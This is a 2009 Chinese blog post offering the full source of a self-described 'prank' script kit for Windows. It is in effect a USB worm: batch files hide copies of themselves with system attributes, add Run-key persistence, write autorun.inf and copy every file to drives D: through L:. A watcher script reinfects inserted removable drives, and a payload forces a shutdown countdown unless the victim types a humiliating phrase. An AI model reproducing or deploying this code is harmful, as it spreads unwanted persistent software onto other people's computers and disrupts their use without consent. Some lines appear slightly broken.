一个整人的vbs脚本(yzy原创)

一个整人的vbs脚本(yzy原创)
2009年08月30日
　　声明：你们可以任意转载，但是转载是必须表明作者是yzy
　　　　我写了个整人的vbs脚本(我叫它猪头1.3），分三部分：
　　一、开始.bat：@copy a\搞笑.vbe "c:\搞笑.vbe"
　　@copy a\reg.bat "c:\reg.bat"
　　@copy a\delu.bat "c:\delu.bat"
　　@copy a\u.vbs "c:\u.vbs"
　　@copy a\start.bat "c:\start.bat"
　　@copy a\u.bat "c:\u.bat"
　　@copy a\autorun.inf "c:\autorun.inf"
　　cls
　　@cd\
　　@attrib +a +s +h +r c:\搞笑.vbe
　　@attrib +a +s +h +r c:\reg.bat
　　@attrib +a +s +h +r c:\autorun.inf
　　@attrib +a +s +h +r c:\delu.bat
　　@attrib +a +s +h +r c:\u.vbs
　　@attrib +a +s +h +r c:\start.bat
　　@attrib +a +s +h +r c:\u.bat
　　cls
　　@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "b" /t REG_SZ /d "c:\搞笑.vbe" /f
　　@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "a" /t REG_SZ /d "c:\reg.bat" /f
　　@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "c" /t REG_SZ /d "c:\u.vbs" /f
　　@c:\windows\system32\reg add "HKLM\SYSTEM\CurrentControlSet\Services\Cdrom" /v "AutoRun" /t REG_DWORD  /d 00000001 /f
　　@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoDriveTypeAutoRun" /t REG_DWORD  /d 00000003 /f
　　cls
　　@"c:\搞笑.vbe"
　　二、a（文件夹）：　　1、autorun.inf：
　　[AutoRun]
　　Open=star.bat2、delu.bat：
　　@rmdir /s /q c:\autorun.inf
　　@rmdir /s /q d:\autorun.inf
　　@rmdir /s /q e:\autorun.inf
　　@rmdir /s /q f:\autorun.inf
　　cls
　　@rmdir /s /q g:\autorun.inf
　　@rmdir /s /q h:\autorun.inf
　　@rmdir /s /q i:\autorun.inf
　　@rmdir /s /q j:\autorun.inf
　　cls
　　@rmdir /s /q k:\autorun.inf
　　@rmdir /s /q l:\autorun.inf
　　cls3.reg.bat:
　　@cd\
　　@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "b" /t REG_SZ /d "c:\搞笑.vbe" /f
　　@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "a" /t REG_SZ /d "c:\reg.bat" /f
　　@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "c" /t REG_SZ /d "c:\u.vbs" /f
　　@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoDriveTypeAutoRun" /t REG_DWORD  /d 00000003 /f
　　@c:\windows\system32\reg add "HKLM\SYSTEM\CurrentControlSet\Services\Cdrom" /v "AutoRun" /t REG_DWORD  /d 00000001 /f
　　cls
　　4.start.bat:@copy 搞笑.vbe "c:\搞笑.vbe"
　　@copy reg.bat "c:\reg.bat"
　　@copy delu.bat "delu.bat"
　　@copy u.vbs "c:\u.vbs"
　　@copy start.bat "start.bat"
　　@copy u.bat "c:\u.bat"
　　@copy autorun.inf "c:\autorun.inf"
　　cls
　　@cd\
　　@attrib +a +s +h +r c:\搞笑.vbe
　　@attrib +a +s +h +r c:\reg.bat
　　@attrib +a +s +h +r c:\autorun.inf
　　@attrib +a +s +h +r c:\delu.bat
　　@attrib +a +s +h +r c:\u.vbs
　　@attrib +a +s +h +r c:\start.bat
　　@attrib +a +s +h +r c:\u.bat
　　cls
　　@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "b" /t REG_SZ /d "c:\搞笑.vbe" /f
　　@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "a" /t REG_SZ /d "c:\reg.bat" /f
　　@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "c" /t REG_SZ /d "c:\u.vbs" /f
　　@c:\windows\system32\reg add "HKLM\SYSTEM\CurrentControlSet\Services\Cdrom" /v "AutoRun" /t REG_DWORD  /d 00000001 /f
　　@c:\windows\system32\reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoDriveTypeAutoRun" /t REG_DWORD  /d 00000003 /f
　　cls
　　@"c:\搞笑.vbe"
　　5.u.bat:@attrib -a -s -h -r c:\autorun.inf
　　@attrib -a -s -h -r c:\reg.bat
　　@attrib -a -s -h -r c:\搞笑.vbe
　　@attrib -a -s -h -r c:\delu.bat
　　@attrib -a -s -h -r c:\u.vbs
　　@attrib -a -s -h -r c:\start.bat
　　@attrib -a -s -h -r c:\u.bat
　　@copy c:\autorun.inf d:\autorun.inf
　　@copy c:\autorun.inf e:\autorun.inf
　　@copy c:\autorun.inf f:\autorun.inf
　　@copy c:\autorun.inf g:\autorun.inf
　　@copy c:\autorun.inf h:\autorun.inf
　　@copy c:\autorun.inf i:\autorun.inf
　　@copy c:\autorun.inf j:\autorun.inf
　　@copy c:\autorun.inf k:\autorun.inf
　　@copy c:\autorun.inf l:\autorun.inf
　　cls
　　@copy c:\reg.bat d:\reg.bat
　　@copy c:\reg.bat e:\reg.bat
　　@copy c:\reg.bat f:\reg.bat
　　@copy c:\reg.bat g:\reg.bat
　　@copy c:\reg.bat h:\reg.bat
　　@copy c:\reg.bat i:\reg.bat
　　@copy c:\reg.bat j:\reg.bat
　　@copy c:\reg.bat k:\reg.bat
　　@copy c:\reg.bat l:\reg.bat
　　cls
　　@copy c:\搞笑.vbe d:\搞笑.vbe
　　@copy c:\搞笑.vbe e:\搞笑.vbe
　　@copy c:\搞笑.vbe f:\搞笑.vbe
　　@copy c:\搞笑.vbe g:\搞笑.vbe
　　@copy c:\搞笑.vbe h:\搞笑.vbe
　　@copy c:\搞笑.vbe i:\搞笑.vbe
　　@copy c:\搞笑.vbe j:\搞笑.vbe
　　@copy c:\搞笑.vbe k:\搞笑.vbe
　　@copy c:\搞笑.vbe l:\搞笑.vbe
　　cls
　　@copy c:\delu.bat d:\delu.bat
　　@copy c:\delu.bat e:\delu.bat
　　@copy c:\delu.bat f:\delu.bat
　　@copy c:\delu.bat g:\delu.bat
　　@copy c:\delu.bat h:\delu.bat
　　@copy c:\delu.bat i:\delu.bat
　　@copy c:\delu.bat j:\delu.bat
　　@copy c:\delu.bat k:\delu.bat
　　@copy c:\delu.bat l:\delu.bat
　　cls
　　@copy c:\u.vbs d:\u.vbs
　　@copy c:\u.vbs e:\u.vbs
　　@copy c:\u.vbs f:\u.vbs
　　@copy c:\u.vbs g:\u.vbs
　　@copy c:\u.vbs h:\u.vbs
　　@copy c:\u.vbs i:\u.vbs
　　@copy c:\u.vbs j:\u.vbs
　　@copy c:\u.vbs k:\u.vbs
　　@copy c:\u.vbs l:\u.vbs
　　cls
　　@copy c:\start.bat d:\start.bat
　　@copy c:\start.bat e:\start.bat
　　@copy c:\start.bat f:\start.bat
　　@copy c:\start.bat g:\start.bat
　　@copy c:\start.bat h:\start.bat
　　@copy c:\start.bat i:\start.bat
　　@copy c:\start.bat j:\start.bat
　　@copy c:\start.bat k:\start.bat
　　@copy c:\start.bat l:\start.bat
　　cls
　　@copy c:\u.bat d:\u.bat
　　@copy c:\u.bat e:\u.bat
　　@copy c:\u.bat f:\u.bat
　　@copy c:\u.bat g:\u.bat
　　@copy c:\u.bat h:\u.bat
　　@copy c:\u.bat i:\u.bat
　　@copy c:\u.bat j:\u.bat
　　@copy c:\u.bat k:\u.bat
　　@copy c:\u.bat l:\u.bat
　　cls
　　@attrib +a +s +h +r c:\autorun.inf
　　@attrib +a +s +h +r d:\autorun.inf
　　@attrib +a +s +h +r e:\autorun.inf
　　@attrib +a +s +h +r f:\autorun.inf
　　@attrib +a +s +h +r g:\autorun.inf
　　@attrib +a +s +h +r h:\autorun.inf
　　@attrib +a +s +h +r i:\autorun.inf
　　@attrib +a +s +h +r j:\autorun.inf
　　@attrib +a +s +h +r k:\autorun.inf
　　@attrib +a +s +h +r l:\autorun.inf
　　cls
　　@attrib +a +s +h +r c:\reg.bat
　　@attrib +a +s +h +r d:\reg.bat
　　@attrib +a +s +h +r e:\reg.bat
　　@attrib +a +s +h +r f:\reg.bat
　　@attrib +a +s +h +r g:\reg.bat
　　@attrib +a +s +h +r h:\reg.bat
　　@attrib +a +s +h +r i:\reg.bat
　　@attrib +a +s +h +r j:\reg.bat
　　@attrib +a +s +h +r k:\reg.bat
　　@attrib +a +s +h +r l:\reg.bat
　　cls
　　@attrib +a +s +h +r c:\搞笑.vbe
　　@attrib +a +s +h +r d:\搞笑.vbe
　　@attrib +a +s +h +r e:\搞笑.vbe
　　@attrib +a +s +h +r f:\搞笑.vbe
　　@attrib +a +s +h +r g:\搞笑.vbe
　　@attrib +a +s +h +r h:\搞笑.vbe
　　@attrib +a +s +h +r i:\搞笑.vbe
　　@attrib +a +s +h +r j:\搞笑.vbe
　　@attrib +a +s +h +r k:\搞笑.vbe
　　@attrib +a +s +h +r l:\搞笑.vbe
　　cls
　　@attrib +a +s +h +r c:\delu.bat
　　@attrib +a +s +h +r d:\delu.bat
　　@attrib +a +s +h +r e:\delu.bat
　　@attrib +a +s +h +r f:\delu.bat
　　@attrib +a +s +h +r g:\delu.bat
　　@attrib +a +s +h +r h:\delu.bat
　　@attrib +a +s +h +r i:\delu.bat
　　@attrib +a +s +h +r j:\delu.bat
　　@attrib +a +s +h +r k:\delu.bat
　　@attrib +a +s +h +r l:\delu.bat
　　cls
　　@attrib +a +s +h +r c:\u.vbs
　　@attrib +a +s +h +r d:\u.vbs
　　@attrib +a +s +h +r e:\u.vbs
　　@attrib +a +s +h +r f:\u.vbs
　　@attrib +a +s +h +r g:\u.vbs
　　@attrib +a +s +h +r h:\u.vbs
　　@attrib +a +s +h +r i:\u.vbs
　　@attrib +a +s +h +r j:\u.vbs
　　@attrib +a +s +h +r k:\u.vbs
　　@attrib +a +s +h +r l:\u.vbs
　　cls
　　@attrib +a +s +h +r c:\start.bat
　　@attrib +a +s +h +r d:\start.bat
　　@attrib +a +s +h +r e:\start.bat
　　@attrib +a +s +h +r f:\start.bat
　　@attrib +a +s +h +r g:\start.bat
　　@attrib +a +s +h +r h:\start.bat
　　@attrib +a +s +h +r i:\start.bat
　　@attrib +a +s +h +r j:\start.bat
　　@attrib +a +s +h +r k:\start.bat
　　@attrib +a +s +h +r l:\start.bat
　　cls
　　@attrib +a +s +h +r c:\u.bat
　　@attrib +a +s +h +r d:\u.bat
　　@attrib +a +s +h +r e:\u.bat
　　@attrib +a +s +h +r f:\u.bat
　　@attrib +a +s +h +r g:\u.bat
　　@attrib +a +s +h +r h:\u.bat
　　@attrib +a +s +h +r i:\u.bat
　　@attrib +a +s +h +r j:\u.bat
　　@attrib +a +s +h +r k:\u.bat
　　@attrib +a +s +h +r l:\u.bat
　　cls6.u.vbs:
　　dim WSHshellA
　　set WSHshellA = wscript.createobject("wscript.shell") 
　　set fso=createobject("scripting.filesystemobject")
　　do
　　Set Disks =fso.Drives
　　For Each Disk in Disks
　　if Disk.IsReady and Disk.DriveType=1 then
　　WSHshellA.run "cmd /c c:\delu.bat",0 ,true
　　WSHshellA.run "cmd /c c:\u.bat",0 ,true
　　exit do
　　end if
　　next
　　wscript.sleep 2000
　　loop
　　7.搞笑.vbe:on error resume next
　　dim WSHshellA
　　Dim msg,sapi
　　set sapi.Voice = colVoice.Item(cnVoice)
　　set WSHshellA = wscript.createobject("wscript.shell") 
　　WSHshellA.run "cmd.exe /c shutdown -s -t 60 -c ""很想看吗？哈哈！赶紧说：我是猪头的爸爸的猪头??不说我是猪头这十二个字，就60秒后关机关你电脑，不信，试试??????"" ",0 ,true  
　　Msg="很想看吗 哈哈 赶紧说 我是猪头的爸爸的猪头 不说我是猪头这十二个字 就60秒后关机关你电脑 不信 试试"
　　Set sapi=CreateObject("sapi.spvoice")
　　Sapi.Speak Msg
　　dim a
　　do while(a  "我是猪头的爸爸的猪头")
　　a = inputbox ("说我是猪头的爸爸的猪头??,就不关机，快撒，说 ""我是猪头的爸爸的猪头??""这十二个字"+chr(13)+chr(13)+"程序制作:yzy   QQ:1033742067　","说不说","在这输入那十二个字就不会关机了",8000,7000)
　　Msg="真的吗  你真的是猪头  看不出来哦"
　　Set sapi=CreateObject("sapi.spvoice")
　　Sapi.Speak Msg
　　loop
　　msgbox chr(13) + chr(13) + chr(13) + "真的吗?你真的是猪头?看不出来哦```"
　　dim WSHshell
　　set WSHshell = wscript.createobject("wscript.shell")
　　WSHshell.run "cmd.exe /c shutdown -a",0 ,true
　　Msg="哈哈哈哈  真过瘾  爽了吧  叫你不陪我说话"
　　Set sapi=CreateObject("sapi.spvoice")
　　Sapi.Speak Msg 
　　msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈 真过瘾 爽了吧 叫你不陪我说话"